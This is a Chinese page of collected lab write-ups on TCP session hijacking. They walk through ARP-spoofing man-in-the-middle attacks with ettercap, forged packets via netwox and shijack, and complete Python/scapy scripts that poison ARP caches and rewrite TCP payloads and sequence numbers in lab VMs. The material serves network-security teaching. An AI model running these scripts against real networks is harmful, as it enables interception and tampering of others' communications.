精华内容
下载资源
问答
  • tcp会话劫持
    千次阅读
    2019-06-18 20:11:43

     

    TCP会话劫持攻击

    【目的】

    在本实验中,将在中间人攻击的基础上,进行TCP会话劫持攻击,通过实验实现

    • 熟悉基于ARP欺骗的中间人攻击方式;
    • 掌握TCP会话劫持原理。

    【环境】

    基于本书提供的实验环境,为了获得TCP会话序列号并避免ACK风暴,攻击节点Kali通过ARP欺骗成为中间人,从而通过截获TCP数据包,对SeedUbuntu和OWASP之间的TCP会话进行劫持。

    【原理】

    TCP会话劫持目标是劫持通信双方已建立的TCP会话连接,假冒其中一方(通常是客户端)的身份,与另一方进行进一步通信。

    【步骤】

    注:这里的ip是测试环境的ip,自己做实验时需要替换成实验环境中的ip

    1.Kali节点利用ARP欺骗进行中间人攻击

    在Kali节点下,打开Kali节点的IP转发功能,如下所示:

    root@kali:~# cat /proc/sys/net/ipv4/ip_forward
    0
    root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
    root@kali:~# cat /proc/sys/net/ipv4/ip_forward
    1
    

    利用Ettercap工具执行以下命令:

    ettercap –G

    进入Ettercap的GTK图形界面方式,并选择“Sniff”菜单中的“Unified Sniff”选项,选择“eth0”作为嗅探监听接口,如下图所示:

    随后在“Hosts”菜单中选择“Scan for hosts”扫描局域网内攻击目标,并随后在菜单“Hosts list”中,选择Seed
    Ubuntu 192.168.200.124和OWASP192.168.200.125分别为target1和target2,如下图所示:

    选择菜单“MITM”中的“ARP poisoning”进行ARP欺骗,并选择“Sniff remote connections”,

    如下图所示:

    检查cat /proc/sys/net/ipv4/ip_forward 已经开启了转发;

    此时,在Seed Ubuntu和OWASP中执行arp –a命令显示MAC地址缓存,将发现ARP欺骗攻击已成功,其输入如下:

    root@ubuntu:/home/seed# arp -a
    ? (192.168.200.125) at 00:0c:29:da:ee:f6 [ether] on eth0
    ? (192.168.200.2) at 00:50:56:fc:e8:4b [ether] on eth0
    kali.local (192.168.200.10) at 00:0c:29:da:ee:f6 [ether] on eth0
    

    2.OWASP节点telnet到SeedUbuntu节点

    SeedUbuntu在默认端口23提供了telnet服务,在OWASP中执行

    telnet 192.168.200.124

    登陆到SeedUbuntu节点,输入用户名seed,密码为h4ndb00k(如果这里出现连接超时的情况,请在kali节点上确认ip转发功能是否开启,参照步骤一)。

    # telnet 192.168.200.124
    Trying 192.168.200.124...
    Connected to 192.168.200.124.
    Escape character is '^]'.
    Ubuntu 12.04.2 LTS
    ubuntu login: seed
    Password: 
    Last login: Sun Jan  3 01:21:43 PST 2016 from 192.168.200.125 on pts/11
    Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686)
     * Documentation:  https://help.ubuntu.com/
    New release '14.04.1 LTS' available.
    Run 'do-release-upgrade' to upgrade to it.
    

    3.Ettercap截获TCP会话

    在Kali节点上,此时Ettercap(View-Connections)显示如下图所示,Ettercap已经获取了telnet的登陆用户名和密码。

    双击该会话连接(如果这里无法看到连接列表,依次点击【view -> connections】即可看到,请选择状态为active的一个会话连接进行下一步,如果这里没有,请在OWASP节点命令行随便输入一些内容,这时需要保证telnet连接没有断开,然后敲击回车),可进一步显示截获的数据,如下图所示:

    4.Ettercap 劫持TCP会话

    点击“Inject Data”,Kali节点作为中间人可以向TCP会话两端注入数据,如下图所示:

    此时,在Seed Ubuntu节点192.168.200.124上,通过Tcpdump抓包,可以看到以下数据:

    tcpdump -i eth0 '(tcp) and (host 192.168.200.125) and (not port 3389)' -X
    01:23:35.354602IP (tos 0x0, ttl 64, id 39021, offset 0, flags [none], proto TCP (6), length44)
        192.168.200.125.45991 >ubuntu.local.telnet: Flags [P.], cksum 0x27e2, seq 93:97, ack 409, win 32120,length 4
           0x0000: 4500 002c 986d 0000 4006 d013 c0a8 c87d E..,.m..@......}
           0x0010: c0a8 c87c b3a7 0017 bf79 97e9 698d 1005 ...|.....y..i...
           0x0020: 5018 7d78 0000 0000 6964 0a0a 0000      P.}x....id....
    

    即中间人Kali节点已经将命令注入到SeedUbuntu节点上。

    更多相关内容
  • TCP会话劫持

    2012-06-24 22:50:16
    广义上说,会话劫持就是在一次正常的通信过程中,黑客作为第三方参与到其中,或者是在数据流(例如基于TCP的会话)里注射额外的信息,或者是将双方的通信模式暗中改变,即从直接联系变成有黑客联系。
  • TCP会话劫持目标是劫持通信双方已建立的TCP会话连接,假冒其中一方(通常是客户端)的身份,与另一方进行进一步通信。 TCP会话劫持攻击 Kali通过ARP欺骗成为中间人,从而通过截获TCP数据包,对seedubuntu和WinXP之间...

    前言

    • 靶机1:seedubuntu 12.01,IP:192.168.199.137
    • 靶机2:WindowsXP SP2,IP:192.168.199.135
    • 攻击机:Kali-2020.4,IP:192.168.199.129
    • 工具:ettercap

    原理

    TCP会话劫持目标是劫持通信双方已建立的TCP会话连接,假冒其中一方(通常是客户端)的身份,与另一方进行进一步通信。

    TCP会话劫持攻击

    Kali通过ARP欺骗成为中间人,从而通过截获TCP数据包,对seedubuntu和WinXP之间的TCP会话进行劫持,首先在kali中设置ip路由转发

    echo 1 > /proc/sys/net/ipv4/ip_forward
    cat /proc/sys/net/ipv4/ip_forward
    

    在kali中打开ettercap的图形界面

    ettercap -G
    

    将seedubuntu和WinXP分别设置为target1和target2

    在这里插入图片描述

    选择菜单“MITM”中的“ARPpoisoning”进行ARP欺骗,选嗅探远程连接

    在这里插入图片描述

    在WinXP和seedubuntu上使用arp -a查看,确认欺骗已经生效了

    在这里插入图片描述

    在这里插入图片描述

    模拟劫持telnet登录

    在WinXP上使用telnet访问seed并登陆

    telnet 192.168.199.137
    

    在这里插入图片描述

    在kali发现连接包

    在这里插入图片描述

    双击打开就能获取seedubuntu的用户名和密码

    在这里插入图片描述

    劫持命令

    在这里插入图片描述

    TCP会话劫持攻击的防御

    由于TCP通信需要提供两段序列号以保证连接同步和安全通信,如果双方序列号不同,会导致ACK风暴。所以攻击者在不知道序列号的情况下是不可能攻击成功的。因此,若能够使得要攻击的网络通信经过攻击者控制的主机,那结合网络嗅探技术就可以获取到序列号等信息,从而很容易地实施会话劫持攻击。比较好的解决办法是先进行ARP欺骗,使双方的数据包“正常”的发送到攻击者这里,然后设置包转发,最后就可以进行会话劫持了,而且不必担心会有ACK风暴出现。除了arp欺骗外,IP源路由路由选项和ICMP路由重定向攻击都能使得攻击者可以指定IP数据包的路由路径,通过攻击者所控制的路由器,然后实施劫持。但现在大多数路由设备都禁用和过滤源路由选项和ICMP路由重定向,因此目前比较普遍的方法是结合ARP欺骗来进行TCP会话劫持。

    展开全文
  • TCP会话劫持原理与测试

    千次阅读 2022-04-04 16:17:27
    由于 TCP 协议并没有对 TCP 的传输包进行验证,所以在我们知道一个 TCP 连接中的 seq 和 ack 的信息后就可以很容易的伪造传输包,假装任意一方与另一方进行通信,我们将这一过程称为 TCP 会话劫持TCP Session ...

    阅读本文之前建议了解 TCP 三次握手过程以及 TCP 的包头详细信息。

    由于 TCP 协议并没有对 TCP 的传输包进行验证,所以在我们知道一个 TCP 连接中的 seq 和 ack 的信息后就可以很容易的伪造传输包,假装任意一方与另一方进行通信,我们将这一过程称为 TCP 会话劫持(TCP Session Hijacking)

    (可见,tcp 协议并无验证部分)

    为解决这个问题,通常会在网络层采用 IPSec 协议,在传输层采用 TLS 协议,在应用层采用对应的协议。各协议安放位置如下。

    所以对于一些未进行防护的,采用明文传输的协议,我们就可以很容易的进行会话劫持。

    这里以 telnet 连接为例,采用三台虚拟机进行演示。

    虚拟机配置如下:

    攻击机     192.168.204.130

    服务器    192.168.204.131

    客户机    192.168.204.132

    实现条件:

    攻击机工具: wireshark,netwox,shijack

    服务器 需要配置 telnet 服务器(这里就不详细说明了,有兴趣的同学可以自行百度)

    过程:

    首先,我们让 客户机 连接 服务器 。按提示输入服务器的账户,密码(输入密码时字符不可显)。

    终端输入命令:

    telnet 192.168.204.131

    此时,在同一网段的 攻击机 使用 wireshark 嗅探共用网卡,等待 客户机 和 服务器 通信,捕捉 telnet 包。

    为了直接找到 telnet 包可以在 wireshark 设置过滤 telnet ,同时设置 wireshark 查看包实际序号(Edit Preferences->Protocols->TCP-> 不选 Relative Sequence Numbers)。

    在 客户机 和 服务器 进行通讯后,我们成功捕捉到包。

    直接找到最后的一个包,点击 TransmissionControl Protocol 查看其中的源端口,目的端口,next seq 和 ack 信息。(其中 服务器 的端口固定为 23 ,因为 telnet 端口是 23 )

    因为我们要伪造发下一个包,所以直接采用 nextseq 作为下一个包的 ack ,采用 ack 作为下一个包的 seq(这里是 tcp 协议的规定,不懂的同学可以百度下 tcp 协议三次握手)

    获取到信息之后,攻击机 使用 netwox 工具伪造 客户端3 给 服务器 发一个 tcp 包。发送成功后,原来的 客户端3 就会失去连接,同时 服务器 会把 攻击机 当作 客户端3 ,这样 攻击机 就实现了会话劫持。

    攻击机 终端输入:

    netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.204.132 --ip4-dst 192.168.204.131 --tcp-src 45116 --tcp-dst 23 --tcp-seqnum 3332505945 --tcp-acknum 4096321077 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c"

    解释:因为是伪造 客户机 给 服务器 发送消息,所以源 ip 为 192.168.204.132,目的 ip 是 192.168.204.131 ,seq 和 ack 按刚才所说填写,末尾的 6c 是字母 l 的十六进制数,可以更换为别的,其余参数默认就可以了。

    发送成功后 wireshark 显示出一个带着数据 l 的包,说明我们劫持成功。

    上面每次伪造包的时候需要输入一大堆参数的实现过程是不是略显麻烦?这里推荐使用 shijack 工具(我的机子 hunt1.5 不能运行,,)。

    同样,我们先让 客户机 连接 服务器 。此时 攻击机 打开 wireshark 抓包,获取到源,目的 ip 以及端口号。

    根据上面的信息,使用 shijack 工具输入以下命令

    ./shijack-lnx eth0 192.168.204.132 45188 192.168.204.131 23

    参数依次为网卡名,源地址,源端口,目的地址,telnet 端口

    显示等待客户端和服务器通信以便工具自动获取 seq,ack进行劫持。

    在通信之后显示劫持成功。此时我们输入 ls 并回车,用 wireshark 查看是不是真的成功发出伪造包。

    Ok,劫持成功!

    总结

    那么会话劫持成功后,我们一遍可以采用反向 shell 的方法让攻击机直接获取服务器的权限,这部分内容以后再讲(我是不会告诉你们我是来刷文章数的 0.0 )。同时我们要注意的是在渗透的时候可以使用 nmap 这类工具对攻击点进行扫描,如果发现有类似 telnet 这种不安全的协议的端口开放的话就可以采用相应手段进行攻击了。

    展开全文
  • 从零开始篡改tcp报文

    一、前言

    1. 实验环境

    任意两台相互能通信的机器HostA、HostB+一台攻击机HostM。
    本文在Ubuntu上创建3个docker。
    IP_A=“192.168.60.2”
    IP_B=“192.168.60.4”
    MAC_A=‘02:42:c0:a8:3c:02’
    MAC_M=‘02:42:c0:a8:3c:03’
    MAC_B=‘02:42:c0:a8:3c:04’

    2. 攻击对象

    攻击nc连接中,A向B发送数据的过程。

    nc监听333端口:nc -lv 333
    nc连接333端口:nc 192.168.60.2 333
    

    3. 攻击目的

    将A向B发送的数据篡改为固定的字符串'U000011222_shandianchengzi\n'

    4. 最终效果

    左侧是HostA的面板,右侧是HostB的面板。
    其中HostA向HostB发送的每一句话都被篡改成'U000011222_shandianchengzi\n'
    在这里插入图片描述

    docker的使用

    docker权限:seedubuntu(root权限)

    新建docker

    创建HostA:

    sudo docker run -it --name=HostA --hostname=HostA --net=intranet --ip=192.168.60.2 --privileged "seedubuntu" /bin/bash
    

    创建HostM:

    sudo docker run -it --name=HostM --hostname=HostM --net=intranet --ip=192.168.60.3 --privileged "seedubuntu" /bin/bash
    

    创建HostB:

    sudo docker run -it --name=HostB --hostname=HostB --net=intranet --ip=192.168.60.4 --privileged "seedubuntu" /bin/bash
    

    docker常用指令

    打开HostM:

    sudo docker start HostM
    

    把HostM映射到bash中:

    sudo docker exec -it HostM /bin/bash
    

    查看当前docker有哪些:

    sudo docker ps
    

    关闭防火墙:

    sudo iptables -F
    

    二、正式开始

    过程记录

    1. ARP欺骗

    最终效果:HostM能够截取到HostA、HostB之间的所有会话,并将截获到的报文发送给正确的主机,不影响原有通信。

    首先,关闭ip转发:

    sudo sysctl net.ipv4.ip_forward=1
    

    然后,对HostA、B进行ARP欺骗,在HostM上运行ARP欺骗程序:

    from scapy.all import *
    from time import *
    
    IP_A    = "192.168.60.2"
    IP_B    = "192.168.60.4"
    MAC_M     = "02:42:c0:a8:3c:03"
    
    print("SENDING SPOOFED ARP REQUEST......")
    
    ether = Ether()
    ether.dst = "ff:ff:ff:ff:ff:ff"
    ether.src = "02:42:c0:a8:3c:03"
    
    arp = ARP()
    arp.psrc  = IP_B
    arp.hwsrc = MAC_M
    arp.pdst  = IP_A
    arp.op = 1
    frame1 = ether/arp
    arp2 = ARP()
    arp2.psrc = IP_A
    arp2.hwsrc = MAC_M
    arp2.pdst = IP_B
    arp2.op = 1
    frame2 = ether/arp2
    while 1:
      sendp(frame1)
      sendp(frame2)
      sleep(5)
    

    最后,将截获的报文无条件转发给正确的主机,不影响正常通信,在HostM上另起终端,再运行IP报文转发程序:

    from scapy.all import *
    
    IP_A="192.168.60.2"
    IP_B="192.168.60.4"
    MAC_A='02:42:c0:a8:3c:02'
    MAC_M='02:42:c0:a8:3c:03'
    MAC_B='02:42:c0:a8:3c:04'
    
    def spoof_pkt(pkt):
      try:
        if(pkt.src==MAC_M):
          return
        if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
          pkt.src=MAC_M
          pkt.dst=MAC_B
        elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
          pkt.src=MAC_M
          pkt.dst=MAC_A
        del(pkt.chksum)
        del(pkt[TCP].chksum)
        sendp(pkt)
      except Exception as e:
        print("[-] Error = "+str(e))
        if(pkt.type!=2054 and str(e)!="load"):
          pkt.show()
        try:
          sendp(pkt)
        except Exception as e2:
          pass
    
    f= "host "+IP_A+" and host "+IP_B+" and tcp"
    pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)
    

    并在AB间建立nc即时对话。
    HostA运行:

    nc -lv 333
    

    HostB运行:

    HostB:nc 192.168.60.2 333
    

    检查一下是不是能正常通信,如果能,就成功了。

    2. 篡改数据

    2022/04/01更新留:学了计算机网络安全之后啊,
    再看以前的分析过程就错漏百出。
    但是……懒得改了,就这样吧。
    具体的实现方案是:记录HostA发给HostB的Seq号、HostB发给HostA的Ack号,HostM用A的字符串长度计算给HostA的ACK包中的Seq和Ack,用’U000011222_shandianchengzi\n’的长度计算给HostB的Seq号,就可以伪造正确的序列号。
    总之就是,意识到TCP报文来回的过程中SEQ和ACK的增长与报文长度有关,即可。
    【省流】直接拖到最后,把上文的IP报文转发程序改成最后的那个程序。

    方案一:直接篡改

    程序

    pkt[TCP].load就是数据。那么,直接令A发送给B的报文的pkt[TCP].load='U000011222_shandianchengzi\n',是否可行呢?
    我们在框架中添加这一行,并观察现象。

    from scapy.all import *
    
    IP_A="192.168.60.2"
    IP_B="192.168.60.4"
    MAC_A='02:42:c0:a8:3c:02'
    MAC_M='02:42:c0:a8:3c:03'
    MAC_B='02:42:c0:a8:3c:04'
    
    def spoof_pkt(pkt):
      try:
        if(pkt.src==MAC_M):
          return
        if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
          pkt.src=MAC_M
          pkt.dst=MAC_B
          pkt[TCP].load='U000011222_shandianchengzi\n' #new
        elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
          pkt.src=MAC_M
          pkt.dst=MAC_A
        del(pkt.chksum)
        del(pkt[TCP].chksum)
        sendp(pkt)
      except Exception as e:
        print("[-] Error = "+str(e))
        if(pkt.type!=2054 and str(e)!="load"):
          pkt.show()
        try:
          sendp(pkt)
        except Exception as e2:
          pass
    
    f= "host "+IP_A+" and host "+IP_B+" and tcp"
    pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)
    

    现象

    当输入的数据长度与这个字符串长度相同时,比如输入"U100010100_shandianchengzi\n",可见B中显示的是被篡改后的内容。如下图:
    (字符串涉及个人隐私信息,因此将它涂掉了)
    在这里插入图片描述
    但当输入的数据长度与这个字符串长度不相同时,比如输入"test\n",B中没有显示。

    查看wireshark抓包结果,可见最末尾的数据被覆盖成了"U1000",并且可以看到报文的转发是正常进行的,只是B对这个报文没有任何的反应:
    在这里插入图片描述

    初次猜测这是因为换行符号被覆盖。于是将希望篡改的字符串修改成"U100010100_shandianchengzi\n",重新测试,输入"U100010100_shandianchengzi\n"进行测试。发现B中能够成功接收到不带换行的"U100010100_shandianchengzi\n",如下图:
    在这里插入图片描述
    因此可以排除通讯会因为换行符停滞

    方案二:修改数据长度

    程序

    注意到能发出去的报文的数据长度都是有限的,正好IP层有个len属性pkt[IP].len和报文长度息息相关。因此从c语言的角度猜测:将load替换成更长的字符串,会导致报文结尾或开头的某个特殊字符被覆盖,从而导致报文异常。

    那么,如果load被替换成较短的字符串,后续的报文不就不会收到影响了吗?
    因此输入更长的字符串"U100010100_shandianchengziiiiiiii\n"。但是此时wireshark中竟然连新伪造的tcp包都观察不到了。

    因此,怀疑实际长度比len短的tcp报文会出错。

    综上,推断出,报文中某个特定值会用来判断报文的正确性,这个特定值很可能就是IP层的报文长度。
    于是修改程序,将len长度恒定正确报文长度79 ( 这个79是包括ip和tcp两层的长度,具体的值可以在wireshark中看到,或者在程序中添加pkt.show()观察到 ) 。
    添加一行pkt[IP].len=79。就在刚刚加的那行下面添加就行。

    现象

    再次随便输入任意数据测试。使用短数据"test"时,发现,虽然能够顺利地欺骗一次HostB,但是A发送的数据始终会被M篡改,B响应的报文对应的数据长度永远是24,而非发送长度。因此A无法接受B对它发出的响应,A会继续给B发送报文,导致所以没办法继续输入数据进行欺骗,如下图:
    在这里插入图片描述
    使用长数据"U100010100_shandianchengzii\n"时,B中则显示了两次被篡改的字符串。wireshark中表示该长数据被分成了两个tcp包进行发送,第一个发"U100010100_shandianchengzii",第二个发"\n"。由于第二个短数据包的存在,通讯又卡住了。
    如下图(3773,3777表示两个tcp分包,此后黑色报文表示A持续请求和B持续回应):
    在这里插入图片描述
    既然A不能接受B的回应是因为长度原因,那干脆放弃攻击目的呗,把长度不匹配的字符串暂时改成长度一致的字符串,来保证通讯不卡死。添加判断条件76,如果长度小于等于76则取newdata[0:len-1]+‘\n’。
    在这里插入图片描述
    重新测试。输入任意长度k的数据任意次数时,在HostB上可以显示(k / 76)个被篡改成功的数据,并显示长度为(k mod 76)字符串节选,如下图:
    在这里插入图片描述
    至此,已经完成了一个篡改了数据、不过分干扰通信的程序。

    结束……


    了吗?

    怎么可能,这根本就不是我想要的。

    好的,继续。

    方案三:修改序列号

    程序

    假设攻击者需要将每次传输的数据都替换成’U11112233\n’,长度为10。

    了解到tcp的三次握手,并补充了一下tcp报文中参数的意思、了解了ACK风暴之后,我意识到报文长度还会影响seq和ack。

    其中一篇文章写得很好,我摘录一部分对我有启发的片段,我能找到的最早的链接是https://blog.csdn.net/maray/article/details/2937456

    TCP协议的序列号
    现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中,都有两段序列号,它们分别为: SEQ:当前数据包中的第一个字节的序号 ACK:期望收到对方数据包中第一个字节的序号 假设双方现在需要进行一次连接:

    S_SEQ:将要发送的下一个字节的序号

    S_ACK:将要接收的下一个字节的序号

    S_WIND:接收窗口

    //以上为服务器(Server)

    C_SEQ:将要发送的下一个字节的序号

    C_ACK:将要接收的下一个字节的序号

    C_WIND:接收窗口
    //以上为客户端(Client)
    它们之间必须符合下面的逻辑关系,否则该数据包会被丢弃,并且返回一个ACK包(包含期望的序列号)。

    C_ACK <= C_SEQ <= C_ACK + C_WIND

    S_ACK <= S_SEQ <= S_ACK + S_WIND
    如果不符合上边的逻辑关系,就会引申出一个“致命弱点”,具体请接着往下看。
    致命弱点

    这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ACK包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包……于是,就这样来回往返,形成了恶性循环,最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗,使双方的数据包“正常”的发送到攻击者这里,然后设置包转发,最后就可以进行会话劫持了,而且不必担心会有ACK风暴出现。当然,并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意,ACK风暴仅存在于注射式会话劫持。

    TCP会话劫持过程

    假设现在主机A和主机B进行一次TCP会话,C为攻击者(如图2),劫持过程如下:

    A向B发送一个数据包

    SEQ (hex): X ACK (hex): Y FLAGS: -AP— Window: ZZZZ,包大小为:60

    B回应A一个数据包

    SEQ (hex): Y ACK (hex): X+60 FLAGS: -AP— Window: ZZZZ,包大小为:50

    A向B回应一个数据包

    SEQ (hex): X+60 ACK (hex): Y+50 FLAGS: -AP— Window: ZZZZ,包大小为:40

    B向A回应一个数据包

    SEQ (hex): Y+50 ACK (hex): X+100 FLAGS: -AP— Window:
    ZZZZ,包大小为:30

    攻击者C冒充主机A给主机B发送一个数据包

    SEQ (hex): X+100 ACK (hex): Y+80 FLAGS: -AP— Window: ZZZZ,包大小为:20

    B向A回应一个数据包

    SEQ (hex): Y+80 ACK (hex): X+120 FLAGS: -AP— Window: ZZZZ,包大小为:10

    接下来,应用在我这次会话劫持中。
    假设A向B发送带LEN1=3的数据,这个报文[PSH,ACK]的相关参数记为SEQ1,ACK1。
    B表示接收到时,回应一个无数据报文[ACK]给A。这个报文的相关参数记为SEQ2,ACK2。
    其中SEQ2=ACK1,ACK2=SEQ1+LEN1。
    为了方便记忆,这里假设SEQ2=ACK1=2,ACK2=SEQ1+LEN1=1+3=4。

    倘若攻击者修改了LEN1的长度为LEN1’=10,A接收到的回应的ACK2=SEQ1+LEN1’=1+10=11,A会认为B没有回应,并继续重发[PSH,ACK]报文。相关的wireshark截图如下,可以看到序列号不对产生的后果
    在这里插入图片描述
    因此,我提前记录SEQ1=1和LEN1=3,将B回应的ACK2由11篡改为ACK2’=4,再发送给A。

    from scapy.all import *
    IP_A="192.168.60.2"
    IP_B="192.168.60.4"
    MAC_A='02:42:c0:a8:3c:02'
    MAC_M='02:42:c0:a8:3c:03'
    MAC_B='02:42:c0:a8:3c:04'
    temp={'SEQ':0,'ACK':0,'LEN':0,'ACK2':0} #new
    def spoof_pkt(pkt):
      try:
        if(pkt.src==MAC_M):
          return
        if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
          pkt.src=MAC_M
          pkt.dst=MAC_B
          temp['LEN']=len(pkt[TCP].load) #new
          temp['SEQ']=pkt[TCP].seq #new
          temp['ACK']=pkt[TCP].ack #new
          pkt[IP].len=79
          pkt[TCP].load='U000011222_shandianchengzi\n'
          pkt.show()
        elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
          pkt.src=MAC_M
          pkt.dst=MAC_A
          if(pkt[TCP].seq==temp['ACK']): #new
            pkt[TCP].ack=temp['SEQ']+temp['LEN'] #new
        del(pkt.chksum)
        del(pkt[TCP].chksum)
        #pkt.show()
        sendp(pkt)
      except Exception as e:
        print("[-] Error = "+str(e))
        if(pkt.type!=2054 and str(e)!="load"):
          pkt.show()
        try:
          sendp(pkt)
        except Exception as e2:
          pass
    
    f= "host "+IP_A+" and host "+IP_B+" and tcp"
    pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)
    

    现象

    可此时又出现了下一个现象:下一次A向B发送数据LEN3=2时,记参数为SEQ3,ACK3。
    SEQ3=ACK2=4,ACK3=SEQ2=2。
    中间人攻击者依旧篡改了LEN3’=10。
    然后B接收数据时,记参数为SEQ4,ACK4。
    同样地,SEQ4=ACK3=SEQ2=2,ACK4=SEQ3+LEN3’=4+10=14。
    让我们一起回忆一下B第一次回应未被篡改的参数:SEQ2=2,ACK2=11。
    倘若你是协议设计者,仅看这两个参数,你会怎么确定接收到的数据长度呢?没错,ACK4-ACK2=3是B认为自己真正需要接收的报文长度。因此B的屏幕上仅仅回显长度为3的字符串。

    以此类推,当A向B发送数据时,B中会依次显示长度为10/3/2的字符串,并且依次是:
    U11112233\n
    33\n
    3\n
    这是不符合攻击者预期的。
    在这里插入图片描述
    程序2

    为了解决这一问题,显然,我们可以提前记录未被篡改的ACK2,将下一次A发送的SEQ3修改为SEQ3’=ACK2,从而保证ACK4是正确的
    SEQ3’=ACK2=11,SEQ4=ACK3=SEQ2=2,ACK4=SEQ3’+LEN3’=11+10=21。
    为保证A能够正确处理B的回应,攻击者篡改ACK4’=SEQ3+LEN3=4+10=14。

    为了验证可行性,我们再模拟一轮发送和接受报文的过程。
    记A向B发送第三次数据LEN5=6时的参数为SEQ5、ACK5。
    SEQ5=ACK4’=14,ACK5=SEQ4=ACK3=SEQ2=2。
    LEN5’=10。
    B的回应参数为SEQ6、ACK6。
    SEQ5’=ACK4=21
    SEQ6=ACK5=2,ACK6=SEQ5’+LEN5’=21+10=31。
    ACK6’=SEQ5+LEN5=14+6=20。

    发现确实是可行的。

    至此,就完成了一个两方各说各的、谁也不碍着谁、前言不搭后语的程序。

    from scapy.all import *
    IP_A="192.168.60.2"
    IP_B="192.168.60.4"
    MAC_A='02:42:c0:a8:3c:02'
    MAC_M='02:42:c0:a8:3c:03'
    MAC_B='02:42:c0:a8:3c:04'
    temp={'SEQ':0,'ACK':0,'LEN':0,'ACK2':0}
    def spoof_pkt(pkt):
      try:
        if(pkt.src==MAC_M):
          return
        if(pkt[IP].src==IP_A and pkt[IP].dst==IP_B):
          pkt.src=MAC_M
          pkt.dst=MAC_B
          temp['LEN']=len(pkt[TCP].load)
          temp['SEQ']=pkt[TCP].seq
          if(temp['ACK2']): #new
            pkt[TCP].seq=temp['ACK2'] #new
          temp['ACK']=pkt[TCP].ack
          pkt[IP].len=79
          pkt[TCP].load='U000011222_shandianchengzi\n'
          pkt.show()
        elif(pkt[IP].src==IP_B and pkt[IP].dst==IP_A):
          pkt.src=MAC_M
          pkt.dst=MAC_A
          if(pkt[TCP].seq==temp['ACK']):
            temp['ACK2']=pkt[TCP].ack #new
            pkt[TCP].ack=temp['SEQ']+temp['LEN']
        del(pkt.chksum)
        del(pkt[TCP].chksum)
        #pkt.show()
        sendp(pkt)
      except Exception as e:
        print("[-] Error = "+str(e))
        if(pkt.type!=2054 and str(e)!="load"):
          pkt.show()
        try:
          sendp(pkt)
        except Exception as e2:
          pass
    
    f= "host "+IP_A+" and host "+IP_B+" and tcp"
    pkt = sniff(filter=f,iface='eth0', prn=spoof_pkt)
    

    现象2
    在这里插入图片描述

    展开全文
  • TCP会话劫持_转

    2017-06-18 10:48:00
    可以进行会话劫持的工具很多,比较常用有Juggernaut,它可以进行TCP会话劫持的网络Sniffer程序;TTY Watcher,而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持,只是看你会...
  • 基于hunt的TCP会话劫持 TCP会话劫持攻击,是劫持通信双方已建立的TCP会话连接,假冒其中一方身 份与另一方进行进一步通信。攻击者通过ARP欺骗、ICMP路由重定向攻击等 方法实现中间人攻击,嗅探到客户端和telnet...
  • 会话固定是通过从各种来源识别会话ID进入用户计算机的最常见方式,例如在URL参数中找到会话ID,隐藏在表单中,保存在cookie中。这基本上取决于他们,他们可以将钱从受害者的账户转移到另一个版本,从众多的网上商店...
  • 会话劫持安全攻击

    2022-08-02 13:17:58
    TCP会话劫持是对受保护网络上的用户会话的安全攻击。会话劫持最常见的方法称为IP欺骗,攻击者使用源路由IP数据包将命令插入网络上两个节点之间的活动通信中,并将自己伪装成经过身份验证的用户之一。在传输模式下,...
  • TCP/IP攻击实验(ARP,ICMP,SYN,RST,TCP会话劫持

    万次阅读 多人点赞 2016-12-02 15:41:12
    一、实验背景由于TCP/IP协议是Internet的基础协议,从开始设计的时候并没有考虑到现在网络上如此多的威胁,由此导致了许多形形色色的攻击方法,一般如果是针对协议原理的攻击,尤其DDOS,我们将无能为力。...
  • tcp会话劫持

    2009-05-19 23:24:00
    可以进行会话劫持的工具很多,比较常用有Juggernaut,它可以进行TCP会话劫持的网络Sniffer程序;TTY Watcher,而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持,只是看你会...
  • hunt,TCP会话劫持

    2010-05-05 22:30:25
    LINUX 上一牛人写的代码, 供linux爱好者学习用 谢谢
  • 基于hunt工具的TCP会话劫持攻击实验

    千次阅读 2017-04-10 21:24:03
    TCP会话劫持攻击,是劫持通信双方已建立的TCP会话连接,假冒其中一方的身份与另一方进行进一步通信。通常一些网络服务会建立在TCP会话之后进行应用层的身份认证,客户端在通过身份认证之后,就可以通过TCP会话连接对...
  • RST攻击和TCP会话劫持攻击实验

    千次阅读 2020-03-18 20:53:49
    一、RST攻击 RST表示复位。用来异常的关闭连接。...此时攻击者伪造了一个TCP包发给客户端,使客户端异常的断开了与服务端之间的TCP连接,这就是RST攻击。 实验: 首先,kali作为攻击机(192.16...
  • 过滤策略来精心构造会话劫持报文, 以旁路方式发回给校园网内主机, 来达到干预有问题的用户到外网的T C P会话的目的. 干预的结果可以是立即中断T C P连接, 也可以是将用户的所有HT T P访问请求重定向到指定的安全...
  • 什么是会话劫持?如何预防?

    千次阅读 2021-03-24 15:07:04
    会话劫持是通过利用活动的Web会话进行的Web攻击。会话是两个计算机系统之间进行通信的时间段。Web服务器需要身份验证,因为通过网站进行的每个用户通信都使用多个TCP / IP通道。 身份验证的一种常见形式始终是使用...
  • 攻击机为kali IP为192.168.43.195 客户机为centos7 IP为192.168.43.138 服务器为centos7 IP为192.168.43.153 实验前请确定这三台主机在同一网段 TCP会话劫持 首先在kali主机上打开wireshark(kali自带wireshark) sudo...
  • 问题遇到的现象和发生背景 问题相关代码,请勿粘贴截图 运行结果及报错内容 我的解答思路和尝试过的方法 我想要达到的结果

空空如也

空空如也

1 2 3 4 5 ... 20
